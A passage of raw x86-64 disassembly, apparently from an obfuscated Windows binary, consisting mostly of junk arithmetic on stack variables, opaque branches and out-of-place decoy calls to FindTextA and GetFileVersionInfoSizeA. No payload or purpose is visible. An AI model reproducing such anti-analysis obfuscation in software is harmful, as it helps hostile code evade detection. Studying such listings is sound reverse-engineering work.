movabs rax, 0x49dbf0d7c40410d2
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
shl eax, cl
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
xor eax, 0x39
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov eax, dword [section..data]
shr eax, 0x1c
mov dword [section..data], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
or eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
add eax, 0x117
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movabs rax, 0x510f5908dd600b07
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, byte [rsp + 0x11b]
and eax, 0x31
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x15
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov eax, dword [section..data]
sub eax, 0x2f15d182
mov dword [section..data], eax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
add eax, 0x11
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
xor eax, 0xf1
mov byte [rsp + 0x11c], al
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb80], ax
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
sar eax, 7
mov byte [rsp + 0x11c], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x54
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
sub eax, 0xbd7
mov word [rsp + 0xb84], ax
mov eax, dword [section..data]
add eax, 0x5e618820
mov dword [section..data], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x73
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x45
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
and eax, ecx
mov word [rsp + 0xa14], ax
cmp dword [rsp + 0x2aac], 0xc709
jb 0x140003ff9
movabs rax, 0x44affb5d07ffe9bd
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4cc8]
movzx eax, byte [rax]
mov byte [rsp + 0x2ab4], al
cmp byte [rsp + 0x2ab4], 0x5f
je 0x140004471
jmp 0x1400044f2
lea rcx, [rsp + 0x20ec0]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x4ce0], rax
movabs rax, 0x8d9711796cba0a27
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, byte [rsp + 0x11b]
or eax, 0x30
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x4cd8]
movzx r8d, word [rsp + 0xb84]
mov edx, 0x9f
movzx ecx, word [rsp + 0xb84]
call fcn.140154e90
nop
jmp 0x140154393
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x4ce8], rax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
shl eax, cl
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
xor eax, 0x78
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sar eax, cl
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
and eax, 0xac
mov byte [rsp + 0x11c], al
mov eax, dword [rsp + 0x2a88]
add eax, 0x4a
mov dword [rsp + 0x2a88], eax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movabs rax, 0x2e97ddfdbde779b
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
sub eax, 0x63
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
and eax, 0xe6
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0xb84]
add eax, 0x4e7
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sar eax, cl
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xa14]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb80], ax
movsx eax, byte [rsp + 0x11b]
shl eax, 6
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x5e
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x23
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
add eax, 0x97
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
add eax, 0x7af
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
and eax, 0xcc
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cd8]
sar rax, 0x23
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
or eax, 3
mov byte [rsp + 0x11b], al
movzx eax, byte [rsp + 0x11c]
shl eax, 7
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
xor eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb84]
sub eax, 0xa1e
mov word [rsp + 0xb84], ax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x29
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x45
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
cmp dword [rsp + 0x2a88], 0xa610
jbe 0x140004502
movsx eax, word [rsp + 0xb80]
movsx ecx, word [rsp + 0xa14]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movabs rax, 0xae5b353378f2c124
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movzx eax, word [rsp + 0xb84]
add eax, 0x67c
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
sub eax, 0x35
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
add eax, 0x3e
mov byte [rsp + 0x11b], al
movzx eax, byte [rsp + 0x11c]
add eax, 0x10
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2aa8]
add eax, 0x1f
mov dword [rsp + 0x2aa8], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
shl eax, 5
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sar eax, cl
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
xor eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
and eax, 0x1f
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
cmp dword [rsp + 0x2aa8], 0x42c9
jne 0x140004880
cmp dword [rsp + 0x2aa0], 0xe237
jae 0x140004de5
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
sub eax, 0xe5
mov byte [rsp + 0x11c], al
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movabs rax, 0x698e63751d3963a
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
add eax, 0x48
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
xor eax, 0x7a
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xa14], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x11b], al
movsx eax, byte [rsp + 0x11b]
shl eax, 6
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
and eax, 0xe39
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
sub eax, 9
mov byte [rsp + 0x11b], al
mov eax, dword [rsp + 0x2aa0]
add eax, 0x51
mov dword [rsp + 0x2aa0], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
sub eax, 9
mov byte [rsp + 0x11b], al
movabs rax, 0xa3254e8f1591af81
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov eax, dword [section..data]
add eax, 0xb7c099bb
mov dword [section..data], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
and eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
add eax, 0x16
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
sub eax, 0x60
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
or eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
shl eax, cl
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
xor eax, 0x3b
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov eax, dword [section..data]
shr eax, 0x12
mov dword [section..data], eax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
add eax, 0xa
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11c]
add eax, 0xa6
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
sub eax, 0x57
mov byte [rsp + 0x11b], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movabs rax, 0x627f585048fbcc73
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
mov eax, dword [section..data]
add eax, 0x41c23b35
mov dword [section..data], eax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, word [rsp + 0xa14]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb80], ax
jmp 0x1400049f7
mov rax, qword [rsp + 0x4cd8]
mov qword [rsp + 0x4cf0], rax
mov dword [rsp + 0x2ab8], 0xa8c7
movzx eax, word [rsp + 0xb84]
mov dword [rsp + 0x2abc], eax
cmp dword [rsp + 0x2abc], 0x27d
je 0x140004e2e
cmp dword [rsp + 0x2abc], 0x3c1
je 0x140004e49
jmp 0x140004eec
lea rcx, [rsp + 0x20f10]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x4cf8], rax
jmp 0x140004eec
movzx eax, word [rsp + 0xb84]
mov dword [rsp + 0x2ac0], eax
cmp dword [rsp + 0x2ac0], 0x2db
je 0x140004e67
jmp 0x140004ecd
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
or eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x4cf0]
movzx r8d, word [rsp + 0xb84]
mov edx, 0x7a
movzx ecx, word [rsp + 0xb84]
call fcn.140154e90
nop
jmp 0x140004eec
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
shl eax, cl
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
lea rax, [rsp + 0x11c]
mov qword [rsp + 0x4d00], rax
mov dword [rsp + 0x2ac4], 0x3ff4
mov dword [rsp + 0x2ac8], 0x2506
mov dword [rsp + 0x2acc], 0x593c
mov rax, qword [rsp + 0x4cc0]
movzx eax, word [rax]
mov word [0x14016f150], ax
mov dword [rsp + 0x2ad0], 0xee7c
movabs rax, 0xedaf1bc12bd754d
mov rcx, qword [rsp + 0x4cf0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd8], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
sub eax, 0x46
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
add eax, 0x10
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2acc]
sub eax, 6
mov dword [rsp + 0x2acc], eax
movsx eax, word [rsp + 0xb80]
movsx ecx, word [0x14016f150]
and eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov eax, dword [section..data]
add eax, 0x16ce109
mov dword [section..data], eax
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
xor eax, 0x4e
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
shl eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movzx eax, word [rsp + 0xb84]
or eax, 0xe01
mov word [rsp + 0xb84], ax
movsx eax, word [rsp + 0xa14]
movsx ecx, word [0x14016f150]
sub eax, ecx
mov word [rsp + 0xb80], ax
movzx eax, word [rsp + 0xb84]
and eax, 0x356
mov word [rsp + 0xb84], ax
movsx eax, byte [rsp + 0x11b]
add eax, 0x7a
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov eax, dword [section..data]
add eax, 0x864c3909
mov dword [section..data], eax
movabs rax, 0xe83c40937494d44c
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
movsx eax, byte [rsp + 0x11b]
sub eax, 3
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x31
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
and eax, 0x45
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
shl eax, 7
mov byte [rsp + 0x11b], al
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
xor eax, 0x60d
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
cmp dword [rsp + 0x2acc], 0x579e
jae 0x140004f3a
movabs rax, 0x2b802d94b2449d32
mov rcx, qword [rsp + 0x4cd8]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4cf0]
jne 0x14000528d
movzx eax, word [rsp + 0xb84]
and eax, 4
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x4c
mov r9d, 0x94
mov r8d, 0x8e
mov edx, 0xd4
mov ecx, 0x52
call fcn.140154460
nop
jmp 0x14000531e
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
cmp eax, ecx
je 0x14000531e
movzx eax, word [rsp + 0xb84]
mov dword [rsp + 0x2ad4], eax
cmp dword [rsp + 0x2ad4], 0x95
je 0x1400052dc
cmp dword [rsp + 0x2ad4], 0x95e
je 0x1400052fa
jmp 0x14000531e
lea rdx, [rsp + 0x4cc8]
mov rcx, qword [rsp + 0x4d08]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov dword [rsp + 0x2ad8], eax
jmp 0x14000531e
mov dword [rsp + 0x20], 0xe7
mov r9d, 0x7a
mov r8d, 0x96
mov edx, 0xe8
mov ecx, 0x28
call fcn.140154460
nop
cmp dword [rsp + 0x2ac4], 0x36f7
jb 0x140005869
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
sub eax, 0x42
mov byte [rsp + 0x11b], al
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, word [0x14016f150]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
sar eax, cl
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb80]
shl eax, cl
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
xor eax, ecx
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x11b]
add eax, 0x20
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
and eax, 0x70
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movabs rax, 0xb1efbcda5fa7743
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
sub eax, 0x26
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
or eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ac4]
sub eax, 0xb1
mov dword [rsp + 0x2ac4], eax
movsx eax, byte [rsp + 0x11b]
sar eax, 6
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
shl eax, cl
mov rcx, qword [rsp + 0x4d00]
mov byte [rcx], al
movzx eax, word [rsp + 0xb84]
xor eax, 0x858
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x11c], al
movsx eax, word [rsp + 0xa14]
movsx ecx, word [rsp + 0xb80]
add eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ce8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
add eax, ecx
mov rcx, qword [rsp + 0x4ce8]
mov byte [rcx], al
mov eax, dword [section..data]
mov dword [rsp + 0x2ad8], eax
movsx eax, byte [rsp + 0x11b]
add eax, 0x53
